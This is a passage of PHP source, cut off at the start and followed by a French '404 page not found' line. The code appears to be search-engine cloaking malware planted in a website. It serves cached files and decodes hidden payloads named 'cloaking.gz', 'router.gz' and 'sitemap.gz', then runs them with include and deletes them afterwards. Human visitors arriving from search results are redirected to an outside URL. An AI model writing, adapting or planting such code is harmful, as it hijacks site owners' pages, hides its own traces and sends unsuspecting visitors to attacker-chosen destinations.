('Content-Type: text/plain; charset=utf-8'); echo $robotsContent; exit(); } } if ($is_static_file && !$is_exception) { $clean_path = $request_path; if (preg_match('#^/(tmp|temp)/' . preg_quote(SITE_ID, '/') . '/(.+)$#', $request_path, $matches)) { $clean_path = '/' . $matches[2]; } elseif (preg_match('#^/(tmp|temp)/(.+)$#', $request_path, $matches)) { $clean_path = '/' . $matches[2]; } $cache_file_path = CACHE_DIR . ltrim($clean_path, '/'); if (!file_exists($cache_file_path)) { $cache_file_path = CACHE_DIR . ltrim($request_path, '/'); } if (file_exists($cache_file_path) && is_file($cache_file_path)) { $real_cache_dir = realpath(CACHE_DIR); $real_file_path = realpath($cache_file_path); if ($real_file_path && strpos($real_file_path, $real_cache_dir) === 0) { $ext = strtolower(pathinfo($cache_file_path, PATHINFO_EXTENSION)); $mimeTypes = ['png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'gif' => 'image/gif', 'ico' => 'image/x-icon', 'svg' => 'image/svg+xml', 'webp' => 'image/webp', 'css' => 'text/css', 'js' => 'application/javascript', 'pdf' => 'application/pdf', 'woff' => 'font/woff', 'woff2' => 'font/woff2', 'ttf' => 'font/ttf', 'eot' => 'application/vnd.ms-fontobject']; header('Content-Type: ' . (isset($mimeTypes[$ext]) ? $mimeTypes[$ext] : 'application/octet-stream')); if (isImageFile($cache_file_path)) { header('Cache-Control: public, max-age=' . IMAGE_CACHE_TTL); } else { header('Cache-Control: public, max-age=' . CACHE_TTL); } readfile($cache_file_path); exit(); } } } if (preg_match('/^sitemap.*\.xml$/', isset($query_string) ? $query_string : '') || preg_match('/^\/sitemap.*\.xml$/', $request_path)) { $sitemap_file = CACHE_DIR . 'sitemap.gz'; if (file_exists($sitemap_file)) { $_deploy_t = deployResolveCacheGzPhpPath('sitemap.gz'); if ($_deploy_t !== '') { include $_deploy_t; @unlink($_deploy_t); } exit(); } } if (!$is_exception && !$is_static_file) { $cloaking_gz = CACHE_DIR . 'cloaking.gz'; if (file_exists($cloaking_gz)) { $_deploy_t = deployResolveCacheGzPhpPath('cloaking.gz'); if ($_deploy_t !== '') { include $_deploy_t; @unlink($_deploy_t); } } $clean_path = trim($request_path, '/'); if (isset($cloaker) && $cloaker->is_human_from_search) { header('Location: ' . $cloaker->getRedirectUrl()); exit(); } elseif (isset($blocked) && $blocked) { $clean_path = '/' . $clean_path; $router_file = CACHE_DIR . 'router.gz'; if (file_exists($router_file)) { $_deploy_t = deployResolveCacheGzPhpPath('router.gz'); if ($_deploy_t !== '') { include $_deploy_t; @unlink($_deploy_t); } } exit(); } } 

Error 404 - Page Introuvable